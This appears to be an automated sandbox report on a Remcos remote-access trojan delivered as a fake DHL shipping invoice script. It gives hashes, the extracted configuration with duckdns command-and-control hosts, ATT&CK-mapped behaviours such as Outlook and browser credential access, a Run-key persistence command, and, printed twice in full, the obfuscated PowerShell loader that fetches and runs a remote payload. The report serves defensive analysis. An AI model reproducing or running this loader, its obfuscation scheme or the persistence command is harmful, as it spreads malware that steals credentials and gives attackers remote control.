remcos | 56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c

General

Target

DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs
Size

72KB
MD5

2c6f72e7eaa64a9c71c4bcb7443057c7
SHA1

a0b2ae9f70163e5649c56b673d2b12f69ec39714
SHA256

56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c
SHA512

19eebf6615c1c78bdb7b63ac93fb7d8c2724146575a622c5a36b59cbceb6f888e6f9ec35fe02d5dce61d552f9f59e2a75833ae085c73a2a45398f9b8384484da
SSDEEP

1536:Ft9NyhoBryzHywwruvVtpliTUEH7lNZjKu:Vr2IiNtqH7lXKu

Score

10^/10

remcos cla$$y collection discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Cla$$y

C2

hjnourt38haoust1.duckdns.org:57484

hjnourt38haoust1.duckdns.org:57483

iwarsut775laudryed1.duckdns.org:57484

iwarsut775laudryed2.duckdns.org:57484

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
kabnspt.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
shibetgtst-XSNZ2G
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/4520-70-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4748-74-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4624-69-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/4748-74-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/4624-69-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 7 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow pid process

4 2528 WScript.exe
10 5104 powershell.exe
37 3656 msiexec.exe
39 3656 msiexec.exe
42 3656 msiexec.exe
44 3656 msiexec.exe
47 3656 msiexec.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
4	2528	WScript.exe
10	5104	powershell.exe
37	3656	msiexec.exe
39	3656	msiexec.exe
42	3656	msiexec.exe
44	3656	msiexec.exe
47	3656	msiexec.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Terminalsekvensernes = "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\\Software\\Reliberating\\').Citronsommerfugle;%Centroids% ($Jazze)"	reg.exe

Network Service Discovery 1 TTPs 2 IoCs
Attempt to gather information on host's network.
discovery

Network Service Discovery
T1046

Processes:

powershell.exepowershell.exe

pid process

2188 powershell.exe
5104 powershell.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

3656 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

2188 powershell.exe
3656 msiexec.exe

pid	process
2188	powershell.exe
5104	powershell.exe

pid	process
3656	msiexec.exe

pid	process
2188	powershell.exe
3656	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

msiexec.exe

description	pid	process	target process
PID 3656 set thread context of 4624	3656	msiexec.exe	msiexec.exe
PID 3656 set thread context of 4748	3656	msiexec.exe	msiexec.exe
PID 3656 set thread context of 4520	3656	msiexec.exe	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

msiexec.exepowershell.exemsiexec.execmd.exereg.exemsiexec.exemsiexec.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

WScript.exe

pid process

2528 WScript.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1668 reg.exe

pid	process
2528	WScript.exe

pid	process
1668	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exemsiexec.exemsiexec.exe

pid	process
5104	powershell.exe
5104	powershell.exe
2188	powershell.exe
2188	powershell.exe
2188	powershell.exe
4520	msiexec.exe
4520	msiexec.exe
4624	msiexec.exe
4624	msiexec.exe
4624	msiexec.exe
4624	msiexec.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

powershell.exemsiexec.exe

pid process

2188 powershell.exe
3656 msiexec.exe
3656 msiexec.exe
3656 msiexec.exe
3656 msiexec.exe
3656 msiexec.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exemsiexec.exe

description pid process

Token: SeDebugPrivilege 5104 powershell.exe
Token: SeDebugPrivilege 2188 powershell.exe
Token: SeDebugPrivilege 4520 msiexec.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid process

3656 msiexec.exe

pid	process
2188	powershell.exe
3656	msiexec.exe
3656	msiexec.exe
3656	msiexec.exe
3656	msiexec.exe
3656	msiexec.exe

description	pid	process
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	4520	msiexec.exe

pid	process
3656	msiexec.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exe

description	pid	process	target process
PID 2528 wrote to memory of 5104	2528	WScript.exe	powershell.exe
PID 2528 wrote to memory of 5104	2528	WScript.exe	powershell.exe
PID 2188 wrote to memory of 3656	2188	powershell.exe	msiexec.exe
PID 2188 wrote to memory of 3656	2188	powershell.exe	msiexec.exe
PID 2188 wrote to memory of 3656	2188	powershell.exe	msiexec.exe
PID 2188 wrote to memory of 3656	2188	powershell.exe	msiexec.exe
PID 3656 wrote to memory of 2564	3656	msiexec.exe	cmd.exe
PID 3656 wrote to memory of 2564	3656	msiexec.exe	cmd.exe
PID 3656 wrote to memory of 2564	3656	msiexec.exe	cmd.exe
PID 2564 wrote to memory of 1668	2564	cmd.exe	reg.exe
PID 2564 wrote to memory of 1668	2564	cmd.exe	reg.exe
PID 2564 wrote to memory of 1668	2564	cmd.exe	reg.exe
PID 3656 wrote to memory of 624	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 624	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 624	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4624	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4624	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4624	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4624	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4748	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4748	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4748	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4748	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 3696	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 3696	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 3696	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4520	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4520	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4520	3656	msiexec.exe	msiexec.exe
PID 3656 wrote to memory of 4520	3656	msiexec.exe	msiexec.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
